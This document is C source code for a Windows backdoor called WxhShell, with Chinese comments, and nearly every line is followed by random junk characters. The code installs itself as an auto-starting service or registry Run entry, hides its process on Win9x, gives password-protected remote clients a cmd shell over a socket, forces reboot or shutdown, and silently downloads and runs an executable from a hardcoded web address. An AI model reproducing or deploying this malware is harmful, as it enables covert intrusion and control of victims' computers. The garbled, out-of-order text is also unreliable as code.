    send(wsh,msg_ws_err,strlen(msg_ws_err),0); udFju&!W  
    else { pG @iR*?  
    closesocket(wsh); qfu2}qUX~%  
    ExitThread(0); p]&Q`oh  
    } CK(ev*@\D,  
    break; ? 6d4T  
    } V+24-QWh  
  // 获取shell QNXxpoS#  
  case 's': { 8~E)gV+v  
    CmdShell(wsh); ;#9| l=  
    closesocket(wsh); MPbPq3an  
    ExitThread(0); (OB8vTRXP  
    break; n*~   
  } pXv[]v  
  // 退出 >e;STU  
  case 'x': { Jt6J'MOq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bFezTl{M  
    CloseIt(wsh); 5V~p@vCx  
    break; A=UIN!  
    } Fz&ilB  
  // 离开 ^4pKsO3ul  
  case 'q': { o2d~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); suFOc  
    closesocket(wsh); #@^w>D6W  
    WSACleanup(); gF6j6  
    exit(1); lM^!^6=v0l  
    break; h(Ed%  
        } 5iddB $  
  } 2nkj;x{H$  
  } EAw#$Aq=  
*t{c}Y&@  
  // 提示信息 Pki4wDCTW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "GI&S%F  
} b0Ov+ )7#  
  } $af}+:'  
-!,]Y10  
  return; jHlOP,kc  
} 7/_ VE  
qYZ7Zt;  
// shell模块句柄 Q5nyD/k4c  
int CmdShell(SOCKET sock) 3D{4vMm X  
{ ^:DhHqvK  
STARTUPINFO si; Pmlgh&Z  
ZeroMemory(&si,sizeof(si)); Nu/Qa:H_{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gH^$Y~Lx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xeM':hD.o  
PROCESS_INFORMATION ProcessInfo; IXvz&4VD  
char cmdline[]="cmd"; |4. o$*0Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gkML .u  
  return 0; ](>7h _2B  
} Xm:=jQn  
iWM7, =1+  
// 自身启动模式 c4>sE[]  
int StartFromService(void) uuYH6bw*d  
{ #r.` V!=  
typedef struct #oJbrh9J6  
{ yF5  
  DWORD ExitStatus; xPMyG);  
  DWORD PebBaseAddress; ? ZHE8  
  DWORD AffinityMask; ?h)3S7  
  DWORD BasePriority; )^f9[5ee  
  ULONG UniqueProcessId; %}MA5 t]o  
  ULONG InheritedFromUniqueProcessId; ;%7XU~<a  
}   PROCESS_BASIC_INFORMATION; QHs:=i~VH  
&1E~ \8U  
PROCNTQSIP NtQueryInformationProcess; MIlCUk  
>9<8G]vcH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O%K?l}e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @=NVOJy}c  
e*2&s5 #RT  
  HANDLE             hProcess; (Ef2 w[ '  
  PROCESS_BASIC_INFORMATION pbi; B_"OA3d_  
qIGu#zXW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jUJTcL  
  if(NULL == hInst ) return 0; m/hi~. D9  
YNC0Z'c9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qN1 -plY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #EmffVtY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O/Mz?$8J  
W]D`f8r9  
  if (!NtQueryInformationProcess) return 0; {nPkb5xbW  
u@bOEcxK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =F %wlzF:  
  if(!hProcess) return 0; YKe0:cWc  
85|95P.<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Naf`hE9  
!*?(Q6  
  CloseHandle(hProcess); O:,2OMB}B`  
a\&(Ua  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ukx/jNyYv  
if(hProcess==NULL) return 0; Ztyv@z'/Z  
qBBYckS.  
HMODULE hMod; t}XB|h  
char procName[255]; otz_nF;E  
unsigned long cbNeeded; J[<pZ [  
QypiF*fSU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *{.&R9#7U'  
s0)qlm*  
  CloseHandle(hProcess); p&OJa$N$[  
V+=*2?1  
if(strstr(procName,"services")) return 1; // 以服务启动 53`9^|:  
9xK4!~5V  
  return 0; // 注册表启动 qX p,d  
} 1akD]Z  
YMj7  
// 主模块 )&Kn (l)  
int StartWxhshell(LPSTR lpCmdLine) +e0dV_T_>  
{ | or 8d>,  
  SOCKET wsl; T$n>7X-r  
BOOL val=TRUE; wWJQ ~i?  
  int port=0; V#zhG AMy.  
  struct sockaddr_in door; kJurUDo  
{ OxAY_  
  if(wscfg.ws_autoins) Install(); jMf 7J  
'HQ7 |Je  
port=atoi(lpCmdLine); }RA3$%3  
foFg((tS  
if(port<=0) port=wscfg.ws_port; "rjv5*z^&  
"#-Nqq  
  WSADATA data; mmrW`~-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "[Qb'9/Jc  
=j|v0& AGC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t,=@hs hN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r,u<y_YW  
  door.sin_family = AF_INET; 28T\@zi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *xX( !t'  
  door.sin_port = htons(port); Jt-X mGULB  
[GR]!\!%~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]cF1c90%  
closesocket(wsl); <\1}@?NGC  
return 1; Ad]<e?oN=  
} -5V)q.Og  
8 zQ_xE  
  if(listen(wsl,2) == INVALID_SOCKET) { A*7Io4e!  
closesocket(wsl); bK03 S Vx  
return 1; kyW6S+#-  
} 1u"R=D9p,=  
  Wxhshell(wsl); c&7Do}  
  WSACleanup(); %rpR-}j  
/S7+B ]  
return 0; ]z-']R;  
l zfD)TWb  
} , @%C8Z  
-H1"OJ2aF  
// 以NT服务方式启动 ! Q|J']|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JqI6k6~Q^  
{ c }<*~w;  
DWORD   status = 0; ~vW)1XnK  
  DWORD   specificError = 0xfffffff; S|K |rDr0n  
6}VUD -}B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oupJJDpP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B>~k).M&,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; awj+#^  
  serviceStatus.dwWin32ExitCode     = 0; "n{9- VEmN  
  serviceStatus.dwServiceSpecificExitCode = 0; ./"mn3U  
  serviceStatus.dwCheckPoint       = 0; *Rz{44LP&  
  serviceStatus.dwWaitHint       = 0; ,U6*kvHS6  
+(;8@"u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `pP9z;/Xq  
  if (hServiceStatusHandle==0) return; -Wl)Lez@  
abM84EU  
status = GetLastError(); V/aQ*V{  
  if (status!=NO_ERROR) H|PrsGW  
{ y#b;uDY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *'Z-OY<V  
    serviceStatus.dwCheckPoint       = 0; wrH7 pd  
    serviceStatus.dwWaitHint       = 0; jZXVsd  
    serviceStatus.dwWin32ExitCode     = status; -M"IVyy@  
    serviceStatus.dwServiceSpecificExitCode = specificError; wqJ*%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >$2E1HW.  
    return; X3P&"}a  
  } Px'R`1^  
|.1qy,|!X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 98BYtxa  
  serviceStatus.dwCheckPoint       = 0; $GQphXb$  
  serviceStatus.dwWaitHint       = 0; .W!tveX8-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E;9Z\?P  
} >HE,'  
,+~2&>wj  
// 处理NT服务事件,比如:启动、停止 @Ppo &>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N g58/}zO  
{ {J{1`@  
switch(fdwControl) ;!'qtw"CB  
{ m'd^?Qc  
case SERVICE_CONTROL_STOP: ;xL67e%?  
  serviceStatus.dwWin32ExitCode = 0; h]qT1( I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GA.BI"l  
  serviceStatus.dwCheckPoint   = 0; SV&kWbS  
  serviceStatus.dwWaitHint     = 0; !d\t:0;  
  { aw1P5aPmX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ir]Mn.(Y  
  } <#>Oy&E  
  return; "cwR^DoD&  
case SERVICE_CONTROL_PAUSE: ?p(kh^z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =KV@&Y^x4  
  break; ?~!tM}X0:3  
case SERVICE_CONTROL_CONTINUE: u0xQ;BQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -<6v:Z  
  break; ]K7`-p~T  
case SERVICE_CONTROL_INTERROGATE: x7f:F.  
  break; !;i*\ a  
}; USprsaj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FS8S68  
} 6{Ks`Af  
Z)NrhJC  
// 标准应用程序主函数 +i+tp8T+7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k,T_e6(  
{ dPHw3^J0j  
<_t5:3HL  
// 获取操作系统版本 M^uU4My  
OsIsNt=GetOsVer(); 8zAg;b [  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vEF=e  
2sUbiDe-  
  // 从命令行安装 &RWM<6JP  
  if(strpbrk(lpCmdLine,"iI")) Install(); KCD5*xH  
D%A@lMru  
  // 下载执行文件 J2'K?|,m  
if(wscfg.ws_downexe) { QskUdzQ=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NS Np  
  WinExec(wscfg.ws_filenam,SW_HIDE); >=Jsv  
} prUHjS  
85} ii{S  
if(!OsIsNt) { Bq *[c=(2  
// 如果时win9x,隐藏进程并且设置为注册表启动 q8/ihA6:  
HideProc(); ms7SoY bSu  
StartWxhshell(lpCmdLine); IQIbz{bMx  
} R3?:\d{  
else )i0 $j)R  
  if(StartFromService()) AQe!Sqg'  
  // 以服务方式启动 lj*8mS/;h  
  StartServiceCtrlDispatcher(DispatchTable); X($6IL6m  
else $~=2{  
  // 普通方式启动 Y[ ?`\c|  
  StartWxhshell(lpCmdLine); LP,9<&"<  
bK<}0Ja[  
return 0; v~}5u 5 $O  
} b~j~  
847 R   
%[XY67A3I  
a!D*)z Y  
=========================================== GQ<Ds{exs>  
Y#`Lcg+r,  
awFhz 6   
?ql2wWsQO  
dgslUg9z3g  
l DnMjK\M  
" Z:|9N/>T  
v J-LPTB  
#include <stdio.h> S*g`d;8gV  
#include <string.h> UQ~4c,  
#include <windows.h> #X5hS w;  
#include <winsock2.h> x{Sd P$  
#include <winsvc.h> }%x}fu#  
#include <urlmon.h> gD6tHg>_  
V!xwb:J  
#pragma comment (lib, "Ws2_32.lib") ;R!*I%  
#pragma comment (lib, "urlmon.lib") Ft) lp>3gv  
xg} ug[  
#define MAX_USER   100 // 最大客户端连接数 <BPRV> 0X  
#define BUF_SOCK   200 // sock buffer 4>YU8/Rw  
#define KEY_BUFF   255 // 输入 buffer ]~8v^A7u  
XVF^,Yf  
#define REBOOT     0   // 重启 q & b5g !  
#define SHUTDOWN   1   // 关机 TP{Gt.e  
T(V8; !  
#define DEF_PORT   5000 // 监听端口 (z2Z)_6L*L  
d=y0yq{L  
#define REG_LEN     16   // 注册表键长度 +zsZNJ(U  
#define SVC_LEN     80   // NT服务名长度 w" JGO  
5oJ Dux }  
// 从dll定义API .LObOR 5J7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h@@d{{IqT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *NlpotW,f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &6/%k kv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U CRAw3=  
W' ep6O  
// wxhshell配置信息 J$QBI&D  
struct WSCFG { LN^UC$[tk  
  int ws_port;         // 监听端口 Gs_qO)~xo  
  char ws_passstr[REG_LEN]; // 口令 9 mPIykAj8  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'gDe3@ci!  
  char ws_regname[REG_LEN]; // 注册表键名 DbtF~`3, .  
  char ws_svcname[REG_LEN]; // 服务名 5V@&o`!=h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KDD@%E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @rwU 1T33  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xGRT"U(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $KX[Zu%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EZib1g&:R/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  so fu  
kaQ2A  
}; 9tk" :ld  
.45^=2NGmQ  
// default Wxhshell configuration G52Z)^  
struct WSCFG wscfg={DEF_PORT, ErDL^M-`  
    "xuhuanlingzhe", LeHiT>aX!  
    1, Q0~j$Jc  
    "Wxhshell", ^.vmF>$+I  
    "Wxhshell", 6>,# 6{?jl  
            "WxhShell Service", C),7- ?  
    "Wrsky Windows CmdShell Service", a4&:@`=  
    "Please Input Your Password: ", TsHF tj9S  
  1, `G?qY8  
  "http://www.wrsky.com/wxhshell.exe", %8w9E=  
  "Wxhshell.exe" 3wC R|ab}  
    }; w!`Umll2  
iYKU[UP?  
// 消息定义模块 //.>>-~1m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U -EhPAB@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "K?Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0pN{y}x,  
char *msg_ws_ext="\n\rExit."; 3taa^e.  
char *msg_ws_end="\n\rQuit."; 3SNL5  
char *msg_ws_boot="\n\rReboot..."; K\&o2lo]  
char *msg_ws_poff="\n\rShutdown..."; 1b3(  
char *msg_ws_down="\n\rSave to "; iF9_b  
1h=D4yN  
char *msg_ws_err="\n\rErr!"; z(H?VfJo  
char *msg_ws_ok="\n\rOK!"; hCC}d0gf`n  
=yqHC<8:  
char ExeFile[MAX_PATH]; ;S JF%@x  
int nUser = 0; vT7g<  
HANDLE handles[MAX_USER]; _]|Qec)  
int OsIsNt; &U"X $aFc  
Np2ci~"<.  
SERVICE_STATUS       serviceStatus; )X5(#E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EGS%C%>l/o  
= .`jjDJ  
// 函数声明 </s,pe79B  
int Install(void); v <Hb-~  
int Uninstall(void); z[9UQU~x?  
int DownloadFile(char *sURL, SOCKET wsh); I:$"E% >=  
int Boot(int flag); {QQl$ys/  
void HideProc(void); E>pVn2|  
int GetOsVer(void); fbC~WV#  
int Wxhshell(SOCKET wsl); ;6m;M63z  
void TalkWithClient(void *cs); Bo r7]#  
int CmdShell(SOCKET sock); y3IWfiz>/d  
int StartFromService(void); wsnK3tM7-  
int StartWxhshell(LPSTR lpCmdLine); ZHkw6@|  
`Ko[r R+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %fhNxR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K]fpGo  
SDBt @=Nl  
// 数据结构和表定义 BQjGv?p0s  
SERVICE_TABLE_ENTRY DispatchTable[] = `;F2n2@  
{ Fr5 Xp  
{wscfg.ws_svcname, NTServiceMain}, 3z[ $4L'.  
{NULL, NULL} @`|)Ia<  
}; Q2s&L]L=  
Hwu4:^OL|  
// 自我安装 @-"R$HOT  
int Install(void) 9y~"|t  
{ w%xCTeK[  
  char svExeFile[MAX_PATH]; <KQ(c`KW7  
  HKEY key; U7H9/<&o  
  strcpy(svExeFile,ExeFile); Qn=$8!Qqa  
ndi+xaQtG  
// 如果是win9x系统,修改注册表设为自启动 K)[8 H~Lm  
if(!OsIsNt) { G/{ ~_&t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9%!dNnUk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V'StvU  
  RegCloseKey(key); -Mf Q&U   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z"379b7cN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $<w)j!  
  RegCloseKey(key); =u|~ <zQw  
  return 0; 9DE)S)e8  
    } $1 @,Qor  
  } i@zY9,b  
} MYdx .NZT  
else { U<bYFuS"  
tcL2J.  
// 如果是NT以上系统,安装为系统服务 LM.`cb;?G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Zdn!qyR`  
if (schSCManager!=0) h-mTj3p-K  
{ O4Dr ]Xc]  
  SC_HANDLE schService = CreateService S>f&6ZDNY(  
  ( W`L!N&fB  
  schSCManager, l\Xd.H" j,  
  wscfg.ws_svcname, ngUHkpYS5  
  wscfg.ws_svcdisp, d`%M g&  
  SERVICE_ALL_ACCESS, 44-r\>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !ALZBB.r(  
  SERVICE_AUTO_START, `|Fp^gM  
  SERVICE_ERROR_NORMAL, Ceg!w#8Z,  
  svExeFile, "s_Z&  
  NULL, l[YEKg  
  NULL, C-SLjJw  
  NULL, 5 9 -!6;T  
  NULL, O#_x)13  
  NULL ([LIjaoi  
  ); P))^vUt~  
  if (schService!=0) FFzH!=7T?  
  { %Fft R1"  
  CloseServiceHandle(schService); rVzI_zYqp'  
  CloseServiceHandle(schSCManager); )#[|hb=o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t9u|iTY f!  
  strcat(svExeFile,wscfg.ws_svcname); y0IK,W'&?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $[(d X!]F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?L|yaC~  
  RegCloseKey(key); +AI`R`Tm  
  return 0; 0I%: BT  
    } `ROG~0lN(  
  } h-XY4gq/  
  CloseServiceHandle(schSCManager); NFyMY#\]  
} &<1 `O  
} F ?=9eISLJ  
!%S4 n  
return 1; $>w/Cy  
} !j^&gRH  
bFGDgwe z  
// 自我卸载 Qv{,wytyO  
int Uninstall(void) f/ahwz  
{ "J19*<~  
  HKEY key; , =y#m- 9  
ZGz|m0b (  
if(!OsIsNt) { o`?zF+M0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OJ3UE(,I=  
  RegDeleteValue(key,wscfg.ws_regname); sb.J bE8  
  RegCloseKey(key); Eipp ~GD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "wM1qX  
  RegDeleteValue(key,wscfg.ws_regname); DxSsg  
  RegCloseKey(key); m 7 LUrU  
  return 0; n-afDV  
  } ZYMw}]#((E  
} V|FrN*m  
} (Hp'B))2  
else { .+.j*>q>u  
{j SmoA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hIU(P Dl4  
if (schSCManager!=0) R7_VXvm>z  
{ P&=lV}f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); npH?4S-8G  
  if (schService!=0) aC^$*qN-)  
  { ~5OL6Bi-q  
  if(DeleteService(schService)!=0) { ai-n z-;  
  CloseServiceHandle(schService); HW6.O|3  
  CloseServiceHandle(schSCManager); ..qd,9H  
  return 0; r>n" 51*  
  } a.kbov(  
  CloseServiceHandle(schService); f )NHM'  
  } K+d2m9C=  
  CloseServiceHandle(schSCManager); jRj=Awy  
} X6@wkrf-  
} JUt7En;XE  
M+Uyb7  
return 1; %1}6q`:w  
} Qn+:/ zA;  
;Yts\4BSM  
// 从指定url下载文件 K1q+~4>\|  
int DownloadFile(char *sURL, SOCKET wsh) T *>`,}J  
{ 6mPm=I[oh  
  HRESULT hr; 4s.]M>Yb  
char seps[]= "/"; K4 %/!`  
char *token; ;L"!I3dM)  
char *file; |:[9O`U)s  
char myURL[MAX_PATH]; Zi ESlf$  
char myFILE[MAX_PATH]; zG9|K  
?IhB-fd>@  
strcpy(myURL,sURL); Sc$UZ/qPT  
  token=strtok(myURL,seps); $g\&5sstE  
  while(token!=NULL) ]z ==   
  { ]r/^9XaqtA  
    file=token; d7Ro}>lp  
  token=strtok(NULL,seps); Xu}U{x>  
  } GjT#%GBF  
FN87^.^2S  
GetCurrentDirectory(MAX_PATH,myFILE); MDO$m g  
strcat(myFILE, "\\"); }DjYGMrTB  
strcat(myFILE, file); 0^l%j8/  
  send(wsh,myFILE,strlen(myFILE),0); L^0v\  
send(wsh,"...",3,0); +t!S'|C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S2^>6/[xM  
  if(hr==S_OK) {qpi?oY  
return 0; ZxHJ<2oD  
else w# y2_  
return 1; (Tvcq  
7+,vTsCd  
} -n))*.V  
H Sz" tN  
// 系统电源模块 :E_a 0!'  
int Boot(int flag) j,-C{ K  
{ 93Yn`Av;  
  HANDLE hToken; {^ec(EsO#  
  TOKEN_PRIVILEGES tkp; k$7Z^~?Fz  
*dsX#Iz  
  if(OsIsNt) { 1y5Ex:JVZT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~(X(&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I0 Ia6w9  
    tkp.PrivilegeCount = 1; ?ny =  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uh3) 0.nR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S\ ,mR4:  
if(flag==REBOOT) { 4_=Ja2v8;`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nWYCh7  
  return 0; %JL]; 4'  
} <nHkg<O6Y  
else { f@ `*>"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +pmu2}E.3  
  return 0; pV\YG B+  
} LBlN2)\@  
  } 6(V /yn ~  
  else { b]fzRdhl  
if(flag==REBOOT) { L36Yx7gT<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [ !%R#+o=F  
  return 0; u'5`[U -!  
} /DFV$+9  
else { }VCI=?-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?UZ?NY  
  return 0; 6[ga$nF?  
} 963aW*r  
} DVp5hR_$  
`C72sA{M.  
return 1; qRB7Ec_  
} z~oDWANP  
4 gBp8*2  
// win9x进程隐藏模块 >)nS2b OE  
void HideProc(void) t;q7t!sC]  
{ TJ_=1Y@z  
X` r* ob  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vT{kL  
  if ( hKernel != NULL ) R)8s  
  { |(R5e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zj9c9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d IB }_L  
    FreeLibrary(hKernel); x~DLW1I  
  } C"V%# K  
[3>GGX[Ic  
return; Nh!_l  
} 6z,Dyy]tl  
GF<[}  
// 获取操作系统版本 V2d,ksKwn  
int GetOsVer(void) Kx`/\u=/  
{ +Wn&,?3^  
  OSVERSIONINFO winfo; %:9oDK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0~WF{_0|  
  GetVersionEx(&winfo); J5p8nmb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &l2TeC@;  
  return 1; '?5j[:QY@  
  else -apXI.  
  return 0; tD=@SX'Y  
} L=!of{4Z(}  
z%d#@w0X1  
// 客户端句柄模块 3z =^(Y  
int Wxhshell(SOCKET wsl) @4+#Xd7"  
{ Y}G_Z#-!  
  SOCKET wsh; ~f>2U]F>5  
  struct sockaddr_in client; y0bq;(~X~  
  DWORD myID; b'p4wE>  
DT(d@upH  
  while(nUser<MAX_USER) " {de k  
{ #CUz uk&  
  int nSize=sizeof(client); QV|>4^1D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1+kE!2b;b  
  if(wsh==INVALID_SOCKET) return 1; mqtg[~dNc  
s}5+3f$f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %/9;ZV  
if(handles[nUser]==0) R`'1t3p0i  
  closesocket(wsh); \}*k)$r  
else - xm{&0e)  
  nUser++; dbdM"z 4  
  } $hrIO+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k-LEI}h  
| }&RXD  
  return 0; \1%l^dE@  
} ,T{<vRj7_  
x34f9! 't  
// 关闭 socket VRng=,  
void CloseIt(SOCKET wsh) -%c<IX>z9  
{ 6cS>bl  
closesocket(wsh); Do7=#|bAM  
nUser--; Vzlh+R>c  
ExitThread(0); uBnoQ~Qd[z  
} T/r#H__`  
p]G3)s@>  
// 客户端请求句柄 nA7M8HB  
void TalkWithClient(void *cs) C|-pD  
{ T3%C%BcX  
I s57F4[}  
  SOCKET wsh=(SOCKET)cs; d3Di/Iej   
  char pwd[SVC_LEN]; )U t5+-UK  
  char cmd[KEY_BUFF]; T Eu'*>g  
char chr[1]; /1w2ehE<  
int i,j; :\ QUs}  
?*"srE,#JX  
  while (nUser < MAX_USER) { cW8\d  
F'm(8/A$  
if(wscfg.ws_passstr) { i{c@S:&@^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 95W?{> @  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xG2+(f#C1  
  //ZeroMemory(pwd,KEY_BUFF); 8P' ana  
      i=0; e( X|3h|  
  while(i<SVC_LEN) { {D&9UZm  
 UL@9W6  
  // 设置超时 s,]%dG!  
  fd_set FdRead; v;1F[?@3Y  
  struct timeval TimeOut; kJ:F *34e=  
  FD_ZERO(&FdRead); U/{6% Qy  
  FD_SET(wsh,&FdRead); Zi\['2CG  
  TimeOut.tv_sec=8; W-~n|PX8+  
  TimeOut.tv_usec=0; c:!zO\P#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cu!W4Ub<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )~)*=u/  
G[Lpe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XMN:]!1J  
  pwd=chr[0]; 7Cqcb>\X  
  if(chr[0]==0xd || chr[0]==0xa) { 0u B'g+MU`  
  pwd=0; (oz$B0HO:  
  break; lK7m=[ j  
  } ow'Vz Ay-  
  i++; * *H&+T/B  
    } $:s`4N^  
} R4c  
  // 如果是非法用户,关闭 socket >JwLk[=j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~X(UcZ2  
} bvBHYf:^  
siDh="{s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 13'vH]S$M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $ <8~k^  
UYP9c}_,4  
while(1) { _jU5O;  
fl\aqtF  
  ZeroMemory(cmd,KEY_BUFF); J8a*s`ik  
'J)2g"T@  
      // 自动支持客户端 telnet标准   `Mj}md;O"  
  j=0; -f1k0QwL  
  while(j<KEY_BUFF) { ![6EUMx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q=Zr>I;(Ks  
  cmd[j]=chr[0]; +k<w!B*  
  if(chr[0]==0xa || chr[0]==0xd) { x`RTp:#  
  cmd[j]=0; >O9o,o/6R  
  break; ]q5`YB%_  
  } 3uu~p!2  
  j++; @wmi 5oExc  
    } fU3`v\X  
qSCv )S(  
  // 下载文件 BKa- k!  
  if(strstr(cmd,"http://")) { &)F*@C-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ikBYd }5  
  if(DownloadFile(cmd,wsh)) G$zL)R8GE|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f$HH:^#  
  else 2I1uX&g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NG&_?|OmV  
  } <+#o BN  
  else { o KD/rI  
